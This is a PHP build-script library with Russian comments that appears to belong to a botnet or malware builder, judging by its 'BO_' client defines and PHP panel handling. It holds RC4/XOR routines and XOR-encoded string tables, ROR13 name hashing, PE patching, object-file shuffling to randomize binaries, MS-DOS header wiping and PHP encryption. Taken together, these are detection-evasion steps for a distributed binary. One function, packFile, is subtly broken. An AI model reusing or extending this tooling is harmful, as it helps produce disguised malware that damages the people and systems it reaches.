<?php
///////////////////////////////////////////////////////////////////////////////////////////////////
// Различные инструменты.
///////////////////////////////////////////////////////////////////////////////////////////////////

/*
  Замена fnmatch с нужными свойствами.
  
  IN $pattern - string, маска.
  IN $string  - string, строка.
  
  Return      - bool, true - в случаи совпадения, или иначе false.
*/
function fnmatchEx($pattern, $string)
{
  return @preg_match('#^'.strtr(preg_quote($pattern, '#'), array('\\*' => '.*', '\\?' => '.?')).'$#i', $string);
}

/*
  Подмена переменных
  
  IN $custVars - array, типа перемання => значение.
  IN $str      - string, строка для обработки.
  
  Return       - string, результат подмены переменных.
*/
function replaceVarables($custVars, $str)
{
  return str_replace(array_keys($custVars), array_values($custVars), $str);
}

/*
  Возращает булево значение настройки $config.
  
  IN $name - string, название переменной.
*/
function configBool($name)
{
  if(empty($GLOBALS['config'][$name]))return FALSE;
  return is_numeric($GLOBALS['config'][$name]) && $GLOBALS['config'][$name] == 0 ? FALSE : TRUE;
}

/*
  Проверяет активна ли платформа для компонента.
  
  IN $app      - string, названия компоненента.
  IN $platform - искомая платформа.
  
  Return       - bool.
*/
function platformEnabled($app, $platform)
{
  $platforms = @explode(',', $GLOBALS['config'][$app.'_platforms']);
  if(is_array($platforms) && count($platforms) > 0)foreach($platforms as $pf)if(strcmp($platform, trim($pf)) == 0)return true;
  return false;  
}

/*
  Стандартный заголовок для генерируемого H-файла.
  
  Return - string, заголовок.
*/
function headerOfHfile()
{
  return "#pragma once\r\n\r\n//Autogenerated file!\r\n\r\n";  
}

/*
  Шифрование RC4.
  
  IN $data - string, данные для шифрования.
  IN $key  - string, ключ шифрования.
*/
function rc4($data, $key)
{
  $hash       = array();
  $box        = array();
  $ret        = '';  
  $keyLength  = strlen($key);
  $dataLength = strlen($data);
  
  for($x = 0; $x < 256; $x++)
  {
    $hash[$x] = ord($key[$x % $keyLength]);
    $box[$x]  = $x;
  }

  for($y = $x = 0; $x < 256; $x++)
  {
    $y       = ($y + $box[$x] + $hash[$x]) % 256;
    $tmp     = $box[$x];
    $box[$x] = $box[$y];
    $box[$y] = $tmp;
  }

  for($z = $y = $x = 0; $x < $dataLength; $x++)
  {
    $z = ($z + 1) % 256;
    $y = ($y + $box[$z]) % 256;

    $tmp     = $box[$z];
    $box[$z] = $box[$y];
    $box[$y] = $tmp;

    $k       = $box[(($box[$z] + $box[$y]) % 256)];
    $ret    .= chr(ord($data[$x]) ^ $k);
  }

  return $ret;
}

/*
  Шифрование XOR.

  IN $data - string, данные для шифрования.
  IN $key  - string, ключ шифрования.
*/
function xorCrypt($data, $key)
{
  $ret        = '';
  $keyLength  = strlen($key);
  $dataLength = strlen($data);

  for($i = 0, $j = 0; $i < $dataLength; $i++)
  {
    $ret .= chr(ord($data[$i]) ^ ord($key[$j]));
    if(++$j === $keyLength)$j = 0;
  }

  return $ret;
}

/*
  Преобразование бинарных данных в C массив типа BYTE.
  
  IN $data   - string, данные.
  IN $xorKey - string, ключ шифрования или 0.
  
  Return     - string, в формате {0xXX, 0xXX, ...}
*/
function binDataToCArray($data, $xorKey)
{
  if(!empty($xorKey))$data = xorCrypt($data, $xorKey);

  $str = "{\r\n  ";
  $s = strlen($data);

  for($i = 0, $p = 0; $i < $s; $i++)
  {
    if($i > 0)$str .= ', ';
    if(++$p == 16){$str .= "\r\n  "; $p = 1;}
    $str .= '0x'.strtoupper(bin2hex($data[$i]));
  }
  return $str."\r\n};";
}

/*
  Преобразование бинарного файла в C массив типа BYTE.
  
  IN $data   - string, имя файла.
  IN $xorKey - string, ключ шифрования или 0.
  
  Return     - string, в формате {0xXX, 0xXX, ...}
*/
function binFileToCArray($file, $xorKey)
{
  $str = file_get_contents($file);  
  if($str === FALSE || strlen($str) == 0)fatalError('Failed to open file "'.$file.'", or file empty.');
  return binDataToCArray($str, $xorKey);
}

/*
  Генерация пароля.
  
  IN $min - int, минимальное количество символов.
  IN $max - int, максимальное количество символов.
  
  Return  - string, пароль.
*/
function generatePassword($min, $max)
{
  $chars = '123456qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@#$*7890';
  $cc = strlen($chars) - 1;
  $len = rand($min, $max);
  $s = '';
  for($i = 0; $i < $len; $i++)$s .= substr($chars, rand(0, $cc), 1);
  return $s;
}

/*
  Получение VA перменной/функции из map-файла.
  
  IN $app      - string, названия компоненента.
  IN $platform - string, платформа компоненента.
  IN $name     - string, имя объекта для поиска.
  
  Return       - int - искомый адрес.
*/
function getVaFromMap($app, $platform, $name)
{
  $fileName = $GLOBALS['dir']['temp'].'\\'.$app.'\\'.$platform.'\\'.$app.'.map';  
  $list = @file($fileName, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES | FILE_TEXT);
  if($list === false)fatalError("Failed to open file \"{$fileName}\".");
  
  foreach($list as &$l)if(preg_match("|^ [0-9a-f]{4}:[0-9a-f]{8} +\?(.+?)\@(.*?)\@.+ +([0-9a-f]{8}) +(.+)$|u", $l, $m) === 1)
  {
    if(strcmp($name, $m[1]) === 0)return hexdec($m[3]);
  }
  fatalError("Failed to find VA of \"{$name}\".");
}

/*
  Подсчет ROR13 хэша строки.
  
  IN $str - string, строка.
  
  Return - string, хзш в формате 0x%08X.
*/
function getRor13Hash($str)
{
  $hash = exec(replaceVarables(array('%STRING%'  => $str), $GLOBALS['commandLine']['buildtools']['ror13']), $output, $r);
  if($r != 0)die(1);    
  $hash = mb_convert_encoding($hash, "UTF-8", "UTF-16LE");
  if(preg_match("|^0x[0-9A-F]{8}$|", $hash) !== 1)fatalError("ROR13 failed.");
  return $hash;
}

/*
  Получение RVA и размера из DataDirectory.
  
  IN $file  - string, файл.
  IN $index - int индекст в DataDirectory.
  OUT $rva  - int, RVA.
  OUT $size - int, размер.
*/
function getPeDataDirectory($file, $index, &$rva, &$size)
{
  $data = exec(replaceVarables(array('%FILE%' => $file, '%INDEX%' => $index), $GLOBALS['commandLine']['buildtools']['pedatadirectory']), $output, $r);
  if($r != 0)die(1);    
  
  $data = mb_convert_encoding($data, "UTF-8", "UTF-16LE");
  $data = explode(' ', $data);
  if(!is_array($data) || count($data) != 2 || preg_match("|^0x[0-9A-F]{8}$|", $data[0]) !== 1 || preg_match("|^0x[0-9A-F]{8}$|", $data[1]) !== 1)
  {
    fatalError("Failed to get DataDirectory from \"{$file}\".");
  }
  
  $rva  = hexdec($data[0]);
  $size = hexdec($data[1]); 
}

/*
  Изменения DWORD в PE-файле.
  
  IN $file   - string, файл.
  IN $offset - int, VA в файле.
  IN $dword  - int, DWORD для записи.
*/
function patchPeDword($file, $va, $dword)
{
  exec(replaceVarables(array('%FILE%' => $file, '%VA%' => $va, '%DWORD%' => $dword), $GLOBALS['commandLine']['buildtools']['pepatch']), $output, $r);
  if($r != 0)fatalError("Failed to patch PE-file \"{$file}\".");
}

/*
  Конвертация Asm кода в C-массив.
  
  IN $x          - int, платформа 32 или 64.
  IN $prefix     - string, префикс для макроса и массива.
  IN $sourceFile - string, исходный asm-файл.
*/
function asmToCArray($x, $prefix, $sourceFile)
{
  $output = $GLOBALS['dir']['temp'].'\asmcode.bin';

  passthru(replaceVarables(array('%OUTPUT%' => $output, '%SOURCE%' => $sourceFile), $GLOBALS['commandLine']['fasm']['win'.$x]), $r);
  
  if($r != 0)die(1);    
  if(@filesize($output) == 0)fatalError('Output size of asm code can\'t be 0 bytes');
  
  return "#define ".strtoupper($prefix)."{$x}\r\n". 
         "static const BYTE ".$prefix."{$x}[] =\r\n".binFileToCArray($output, 0)."\r\n\r\n";
}

/*
  Генерация define макросов для С или PHP.
  
  IN $list - array, в формате $list[$name] = $value.
  IN $type - string, язык "c" для C, "php" для PHP.
  
  Return   - список defines в формате языка
*/
function generateXDefines($list, $type)
{
  $str = '';
  if(strcasecmp($type, 'c') === 0)  
  {
    foreach($list as $k => $v)$str .= "#define ".$k." ".$v."\r\n";
    return $str;
  }
  else if(strcasecmp($type, 'php') === 0)  
  {
    foreach($list as $k => $v)$str .= "define('".$k."', ".$v.");\r\n";
    return $str;
  }
  
  fatalError('Failed to generate defines, unknown language "'.$type.'".');  
}

/*
  Упаковка директории.
  
  IN $dirs   - array, директории.
  IN $output - string, выходной файл, без расширения.
*/
function packDir($dirs, $output)
{
  $pass = generatePassword(40, 50);
  passthru(replaceVarables(array('%OUTPUT%'  => $output.'.7z',
                                 '%PASS%'    => $pass,
                                 '%SOURCE%'  => implode('" "', $dirs)),
                                 $GLOBALS['commandLine']['pack']['dir']), $r);
  if($r != 0)die(1);    
  writeFile($output.'.password.txt', $pass);
}

/*
  Упаковка файла.
  
  IN $files  - array, файлы.
  IN $output - string, выходной файл, без расширения.
*/
function packFile($file, $output)
{
  $pass = generatePassword(20, 32);
  passthru(replaceVarables(array('%OUTPUT%'  => $output.'.7z',
                                 '%PASS%'    => $pass,
                                 '%SOURCE%'  => implode('" "', $files)),
                                 $GLOBALS['commandLine']['pack']['file']), $r);
  if($r != 0)die(1);    
  writeFile($output.'.password.txt', $pass);
}

/*
  Запись файла.
  
  IN $file - string, имя файла для записи.
  IN $data - string, данные для записи в файл.
*/
function writeFile($file, $data)
{ 
  writeLn('......writing - '.basename($file));
  $ok = 0;
  if(($f = @fopen($file, 'wb')))
  {
    if(@fwrite($f, $data) === strlen($data))$ok = 1;
    @fclose($f);
  }
  if($ok != 1)fatalError("Failed write to file \"{$file}\".");  
}

/*
  Чтение файла.
  
  IN $file - string, имя файла для записи.
  
  Return   - содержимое файла.
*/
function getFileContext($file)
{ 
  $data = @file_get_contents($file);
  if($data === FALSE)fatalError("Failed to read from file \"{$file}\".");
  return $data;
}

/*
  Копирование файла.
  
  IN $source - string, исходный файл.
  IN $dest   - string, конечный файл.
*/
function copyFile($source, $dest)
{
  writeLn('......copying - '.$source.' => '.$dest);
  if(!@copy($source, $dest))fatalError('Failed to copy file.');
}

/*
  Копирование файла, если он сущетвует.
  
  IN $source - string, исходный файл.
  IN $dest   - string, конечный файл.
*/
function copyFileIfExists($source, $dest)
{
  if(@file_exists($source))copyFile($source, $dest);
}

/*
  Создание дерева директорий
  
  IN $dir - string, полный путь конечной директории.
*/
function createSubDir($dir)
{
  $ll = explode('\\', $dir);
  $cur = '';
  foreach($ll as $d)
  {
    $cur .= $d.'\\';
    if(!is_dir($cur) && !@mkdir($cur))fatalError("Failed to create dir \"{$cur}\".");
  }
}

/*
  Получение списка файлов из директории, влючая поддеректории.
  
  IN $dir    - string, стартовая директория.
  IN $ext    - array, массив масок файлов, для поиска.
  IN $quotes - bool, заключать ли файлы в кавычки.
  
  Return     - array, массив с полными именами файлов отнсотительно $dir.
*/
function getDirList($dir, $ext, $quotes)
{
  $list = array();
  if(is_dir($dir) && ($dh = opendir($dir)) !== false)
  {
    while(($file = readdir($dh)) !== FALSE)if($file != '.' && $file != '..')
    {
      $ff = $dir.'\\'.$file;
      if(is_dir($ff))$list = array_merge($list, getDirList($ff, $ext, $quotes));
      else foreach($ext as $e)if(fnmatchEx($e, $file))$list[] = $quotes ? '"'.$ff.'"' : $ff;
    }
    closedir($dh);
  }
  return $list;
}

/*
  Очистка директории.
  
  IN $dir - string, дирекория для очитски.
*/
function clearDir($dir)
{
  if(is_dir($dir) && ($dh = opendir($dir)) !== false)
  {
    while(($file = readdir($dh)) !== FALSE)if($file != '.' && $file != '..')
    {
      $s = $dir.'\\'.$file;
      if(is_dir($s))clearDir($s);
      else if(!@unlink($s))return FALSE;
    }
    closedir($dh);
  }
  if(!@rmdir($dir) && @file_exists($dir))writeWarning("Failed to remove \"{$dir}\".");
  return TRUE;
}

/*
  Удаление временных файлов.
  
  IN $create - bool, создавать ли директории вновь после очистки.
*/
function clearTemp($create)
{
  //temp
  writeLn("Clearing ".$GLOBALS['dir']['temp']);
  if(!clearDir($GLOBALS['dir']['temp']))fatalError("Failed to clear temp dir.");
  if($create)
  {
    writeLn("Creating ".$GLOBALS['dir']['temp']);
    createSubDir($GLOBALS['dir']['temp']);
  }

  //output
  writeLn("Clearing ".$GLOBALS['dir']['output'][0]);
  if(!clearDir($GLOBALS['dir']['output'][0]))fatalError("Failed to clear output dir.");
  if($create)
  {
    writeLn("Creating ".$GLOBALS['dir']['output'][0]);
    createSubDir($GLOBALS['dir']['output'][0]);
  }
}

/*
  Загрузка файла глобальной конфигурации.
*/
function loadGlobalConfig()
{
  $cfg = array();
  if(($cfg['global'] = @parse_ini_file(dirname(getcwd())/*$GLOBALS['dir']['project']*/.'\config.ini', true, INI_SCANNER_NORMAL)) === false)
  {
    fatalError("Failed to parse \"config.ini\".");
  }
  $GLOBALS['config'] = array_merge($GLOBALS['config'], $cfg);
}

/*
  Генерация стандартого файла конфигурации для C.
  
  IN $adv_data - string, дополнительные данные для записи в файл.
  
  Return       - string, полноценное содержимое файла.
*/  
function generateDefaultConfigHeader($adv_data)
{
  $verClient = explode('.', $GLOBALS['config']['global']['versions']['client']);

  if(count($verClient) !== 4)fatalError("Bad format of \"versions\".");
  
  $s = headerOfHfile().
       "#define BO_CLIENT_VERSION 0x".bin2hex(pack("CCCC", $verClient[0], $verClient[1], $verClient[2], $verClient[3]))." //".$GLOBALS['config']['global']['versions']['client']."\r\n".
       "#define BO_NAME           L\"".BO_NAME."\"\r\n".
       "#define BO_BUILDTIME      L\"".BO_BUILDTIME."\"\r\n\r\n";

  $platforms_postfix_size = strlen('_platforms');
  foreach($GLOBALS['config'] as $k => $v)if(!is_array($v))
  {
    //Проверка не платформа ли это указана.
    if(strlen($k) > $platforms_postfix_size && strcmp(substr($k, -$platforms_postfix_size), '_platforms') == 0)
    {
      $platforms = @explode(',', $v);
      $v = (!is_array($platforms) || count($platforms) == 0 || (count($platforms) === 1 && empty($platforms[0]))) ? 0 : 1;
      $k = 'BO_'.strtoupper($k);
      
      $s .= "#define {$k} {$v}\r\n";
      foreach($platforms as $sk)if(!empty($sk))$s .= "#define {$k}_".strtoupper($sk)." 1\r\n";
    }
    else
    {
      $v = (is_numeric($v) ? $v : 'L"'.$v.'"');
      $s .= '#define BO_'.strtoupper($k).' '.$v."\r\n";
    }
  }

  return $s.(empty($adv_data) ? "" : $adv_data);
}

/*
  Хелпер для buildBin.
*/
function fileInList($array, $fileName)
{
  foreach($array as &$c)if(fnmatchEx($c, $fileName))return true;
  return false;
}

/*
  Компиляция.
  
  IN $app     - string, названия компоненента для компиляции.
  IN $crypt   - int, шифрование/сжатие конечного файла, если платформа это позволяет.
                0 - не сжимать.
                1 - сжать.
                2 - шифровать.
  IN $clearMz - bool, для winX, если true - очистить MSDOS заголовок.
  IN $randBin - bool, для winX, рандомизировать содержимое конечного файла, путем перемешивания obj-файлов.
  
  Return      - array, список платформ.
*/
function buildBinary($app, $crypt, $clearMz, $randBin)
{
  $platforms = @explode(',', $GLOBALS['config'][$app.'_platforms']);
  if(!is_array($platforms) || count($platforms) == 0)fatalError('Platforms not defined.');

  $r = 0;
  foreach($platforms as $pf)
  {
    $pf = strtolower(trim($pf));
    if(!isset($GLOBALS['commandLineOptions'][$app][$pf]))fatalError('Platform "'.$pf.'" not supported.');
    $opts = $GLOBALS['commandLineOptions'][$app][$pf];

    $dirTmp    = $GLOBALS['dir']['temp'].'\\'.$app.'\\'.$pf;
    $dirOutput = $GLOBALS['dir']['output'][$app];
    $dirSource = $GLOBALS['dir']['source'][$app];

    //Сборка PHP.
    if($pf == 'php')
    {
      createSubDir($dirTmp);

      $dirSource .= '[php]';
      $dirOutput .= '[php]';
      $list = getDirList($dirSource, $opts['include_files'], false);
      if(count($list) == 0)fatalError('Failed to find source files.');
      
      foreach($list as $f)if(!fileInList($opts['exclude_files'], ($f = substr($f, strlen($dirSource) + 1))))
      {
        $allowPP    = !fileInList($opts['exclude_pp_files'], $f);
        $fileSource = $dirSource.'\\'.$f;
        $fileOutput = $dirOutput.'\\'.$f;
        createSubDir(dirname($fileOutput));
        
        if(fileInList($opts['php_files'], $f))
        {
          $fileTmp = $dirTmp.'\\'.basename($f);
          evalPhpTemplate($fileSource, $fileTmp);
          
          if($allowPP && $crypt > 0 && filesize($fileTmp) > 0)
          {
            writeLn("......encrypting - {$fileTmp} => {$fileOutput}");
            passthru(replaceVarables(array('%OUTPUT%' => $fileOutput, '%SOURCE%' => $fileTmp), $GLOBALS['commandLine']['protect']['php']), $r);
            if($r != 0)die(1);          
          }
          else copyFile($fileTmp, $fileOutput);
        }
        /*else if($allowPP && fileInList($opts['js_files'], $f))
        {
          writeLn("......packing - {$fileSource} => {$fileOutput}");
          passthru(replaceVarables(array('%OUTPUT%' => $fileOutput, '%SOURCE%' => $fileSource), $GLOBALS['commandLine']['pack']['js']), $r);
          if($r != 0)die(1);
        }*/
        else copyFile($fileSource, $fileOutput);
      }
    }
    //Комплияция
    else
    {
      createSubDir($dirTmp);
      createSubDir($dirOutput);

      $listCpp = array('*.cpp', '*.c');
      $listRc  = array('*.rc');
      $listObj = array('*.obj', '*.res', '*.o');      

      //Сборка objects.
      writeLn('['.$pf."] Compiling...\r\n");

      $list = getDirList($dirSource, $listCpp, true);
      if(count($list) == 0)fatalError('Failed to find source files.');

      if(!isset($opts['cpp_options']))fatalError('cpp_options no defined.');
      passthru(replaceVarables(array('%TEMP%'    => $dirTmp,
                                     '%OPTIONS%' => $opts['cpp_options'],
                                     '%SOURCE%'  => implode(' ', $list)),
                                     $GLOBALS['commandLine']['cpp'][$pf]), $r);
      if($r !=  0)die(1);
      writeLn('');

      //Сборка ресурсов.
      $list = getDirList($dirSource, $listRc, false);
      if(count($list) != 0)foreach($list as $k => $v)
      {
        if(!isset($opts['res_options']))fatalError('res_options no defined.');
        passthru(replaceVarables(array('%OUTPUT%'  => $dirTmp.'\\'.$k.'.res',
                                       '%OPTIONS%' => $opts['res_options'],
                                       '%SOURCE%'  => $v),
                                       $GLOBALS['commandLine']['res'][$pf]), $r);
        if($r != 0)die(1);
        writeLn('');
      }
      
      //Сборка bin
      writeLn('['.$pf."] Linking...\r\n");
      $list = getDirList($dirTmp, $listObj, true);
      if(count($list) == 0)fatalError('Failed to find object files.');
      if($randBin)shuffle($list);
      
      
      if(!isset($opts['lnk_options']))fatalError('cpp_options no defined.');
      $fileBin = $dirOutput.'\\'.$opts['name'];
      $fileMap = $dirTmp.'\\'.$app.'.map';
      $fileDef = $dirSource.'\\'.$app.'.def';
      
      passthru(replaceVarables(array('%TEMP%'    => $dirTmp,
                                     '%OPTIONS%' => (file_exists($fileDef) ? "/DEF:\"{$fileDef}\" " : "").$opts['lnk_options'],
                                     '%MAPFILE%' => $fileMap,
                                     '%OUTPUT%'  => $fileBin,
                                     '%SUBSYS%'  => $opts['subsys'],
                                     '%SOURCE%'  => implode(' ', $list)),
                                     $GLOBALS['commandLine']['link'][$pf]), $r);

      if($r != 0)die(1);
      writeLn('');
      
      //Вызов функции предварительной обработки.
      if($crypt > 0)
      {
        $functionName = "{$app}BeforeCrypt";
        if(@function_exists($functionName))call_user_func($functionName, $fileBin, $app, $pf);
      }
      
      if($crypt == 1 && isset($GLOBALS['commandLine']['pack'][$pf]))
      {
        writeLn("\r\n[".$pf."] Compressing...\r\n");
        passthru(replaceVarables(array('%SOURCE%'  => $dirOutput.'\\'.$opts['name']), $GLOBALS['commandLine']['pack'][$pf]), $r);
        if($r != 0)die(1);
        writeLn('');
      }

      if($clearMz > 0)
      {
        writeLn('['.$pf."] Clearing DOS Header...\r\n");
        if(($fc = @file_get_contents($fileBin)) === false || strlen($fc) < 1024 || count(($v = unpack('L', substr($fc, 0x3C, 4)))) !== 1 || $v[1] === 0)fatalError('Failed to clear DOS Header in PE file "'.$fc.'".');  
        
        $v = $v[1];
        for($i = 2; $i < 0x3C; $i++)$fc[$i] = "\0";
        for($i = 0x40; $i < $v; $i++)$fc[$i] = "\0";
        
        writeFile($fileBin, $fc);
      }      
    }
  }
  
  return $platforms;
}

/*
  Исполняет перпроцесорный код внутри PHP шаблонов, и прочии оптимизации.
  
  IN $fileIn  - string, входящий файл.
  IN $fileOut - string, исходящий файл.
*/
function evalPhpTemplate($fileIn, $fileOut)
{
  $data = getFileContext($fileIn);
  while(preg_match('|\/\*EVAL\_BEGIN\*\/(.*)(\/\*EVAL\_END\*\/)|msUu', $data, $m, PREG_OFFSET_CAPTURE) > 0)
  {
    //Запускаем код.
    $code_data = eval(substr($data, $m[1][1], $m[2][1] - $m[1][1]));

    //Подменяем данные.
    $data = substr_replace($data, $code_data == NULL ? "" : $code_data, $m[0][1], $m[2][1] + 12 - $m[0][1]);
    $tr = substr($data, $m[0][1]);
    
    //Если коду принадлежала строка, удаляем ее.
    $delCount = 0;
    if(ord($tr[0]) == 0xD && ord($tr[1]) == 0xA)$delCount = 2;
    else if(ord($tr[0]) == 0xA)$delCount = 1;
    if($delCount > 0)$data = substr_replace($data, "", $m[0][1], $delCount);
  }  
  writeFile($fileOut, str_replace("\r\n", "\n", $data));
}

/*
  Загрузка файла конфигурации сборки.
  
  IN $fn - string, файл конфигурации.
*/
function loadPackageConfig($fn)
{
  $fn   .= '\config';
  $list  = @file($fn);
  if(!is_array($list) || count($list) == 0)fatalError('Failed to parse config file "'.$fn.'".');

  foreach($list as $i => $k)
  {
    $k = trim($k);
    if(strlen($k) > 1 && $k[0] != '#')
    {
      $t = @explode('=', $k, 2);
      if(is_array($t) && count($t) == 2)
      {
        $t[0] = trim($t[0]);
        $t[1] = trim($t[1]);

        if(!isset($GLOBALS['config'][$t[0]]) || @is_array($GLOBALS['config'][$t[0]]))
        {
          fatalError("Unknown option \"{$t[0]}\" defined.");
        }

        $GLOBALS['config'][$t[0]] = $t[1];
      }
      else fatalError("Error parse config file \"{$fn}\" on line {$i}.");
    }
  }

  $nd = array();
  foreach($GLOBALS['config'] as $k => &$v)if($GLOBALS['config'][$k] === -1)$nd[] = $k;
  if(count($nd) > 0)fatalError('Not defined options: '.implode(', ', $nd).'.');
}

/*
  Генерация шифрованых строк.
  
  IN $fileName - string, имя файл без расширения.
*/
function generateCryptedStrings($fileName)
{
  $list = @file($fileName.'.txt', FILE_IGNORE_NEW_LINES);
  if(!is_array($list) || count($list) === 0)fatalError("Failed to open file \"{$fileName}.txt\".");

  $outputStruct  = '';
  $outputEnum    = '';
  $outputLenEnum = '';
  $structProlog  = '  ';
  $enumProlog    = '    id_';
  $lenEnumProlog = '    len_';
  $maxLen        = 0;

  foreach($list as $i => &$string)
  {
    $string = trim($string);
    
    //Комментарий.
    if(strlen($string) === 0 || strpos($string, '//') === 0 || strpos($string, ';') === 0)continue;
    
    //Препроцесорная команда.
    if(strpos($string, '#') === 0)
    {
      $outputStruct  .= "{$string}\r\n";
      $outputEnum    .= "{$string}\r\n";
      $outputLenEnum .= "{$string}\r\n";
      continue;
    }
    
    //Парсим.
    $e = explode(' ', $string, 2);
    if(!is_array($e) || count($e) !== 2 || strlen(($id = trim($e[0]))) === 0|| @eval("\$value = ".trim($e[1]).";") !== NULL)
    {
      fatalError("Failed to parse file \"{$fileName}.txt\" at line {$i}.");
    }

    $key      = mt_rand(1, 255);
    $valueLen = strlen($value);
    $valueHex = '';
    
    for($v = 0; $v < $valueLen; $v++)
    {
      $t = (ord($value[$v]) ^ $v) ^ $key;
      $valueHex .= sprintf("\x%02x", $t % 256);
    }
    
    $outputStruct  .= "{$structProlog}{".sprintf("% 3u", $key).", ".sprintf("% 3u", $valueLen).", \"{$valueHex}\"},\r\n";
    $outputEnum    .= "{$enumProlog}{$id},\r\n";
    $outputLenEnum .= "{$lenEnumProlog}{$id} = ({$valueLen} + 1),\r\n";
    
    if($valueLen > $maxLen)$maxLen = $valueLen;
  }
  unset($list);
  
  //Добавляем концовку.
  $outputStruct  .= "{$structProlog}{  0,   0, NULL}";
  $outputEnum    .= "{$enumProlog}count";
  $outputLenEnum .= "{$lenEnumProlog}max = ({$maxLen} + 1)";
  
  //Сохраняем.
  $output = getFileContext($fileName.'.h');
  $output = preg_replace('|(\/\*STRINGS\_ID\_BEGIN\*\/)(.*)(\/\*STRINGS\_ID\_END\*\/)|msU', "\$1\r\n".$outputEnum."\r\n$3", $output);
  $output = preg_replace('|(\/\*STRINGS\_LENGHT\_BEGIN\*\/)(.*)(\/\*STRINGS\_LENGHT\_END\*\/)|msU', "\$1\r\n".$outputLenEnum."\r\n$3", $output);
  writeFile($fileName.'.h', $output);
  
  $output = getFileContext($fileName.'.cpp');
  $output = preg_replace('|(\/\*STRINGS\_DATA\_BEGIN\*\/)(.*)(\/\*STRINGS\_DATA\_END\*\/)|msU', "\$1\r\n".$outputStruct."\r\n$3", $output);
  writeFile($fileName.'.cpp', $output);
}

/*
  Вывод сообщения об успешной сборки и выход.
*/
function goodEnd()
{
  writeLn("\r\nBUILD SUCCESSED!");
  die(0);
}

/*
  Ожидание нажатия клавишы
  
  Return - код клавишы, или 0 в случаи ошибки.
*/
function waitAnyKey()
{
  $k = 0;
  if(($f = @fopen('php://stdin', 'rb')))
  {
    print "\nPress Return key for continue . . .";
    $k = @fread($f, 1);
    @fclose($f);
  }
  return $k;
}

/*
  Вывод строки в консоль.
  
  IN $str - string, строка для вывода.
*/
function writeLn($str)
{
  echo $str."\r\n";
}

/*
  Вывод этапа сборки.
  
  IN $name - string, заголовок этапа.
*/
$___curstep = 0;
function writeStep($name)
{
  global $___curstep;
  $___curstep++;
  writeLn("\nSTEP #".$___curstep.": ".$name);
}

/*
  Вывод фатальной ошибки и выход.
  
  IN $str - string, текст для вывода.
*/
function fatalError($str)
{
  echo 'ERROR: '.$str."\r\n\r\n";
  die(1);
}

/*
  Вывод предупреждения.
  
  IN $str - string, текст для вывода.
*/
function writeWarning($str)
{
  echo 'WARNING: '.$str."\r\n";
}
?>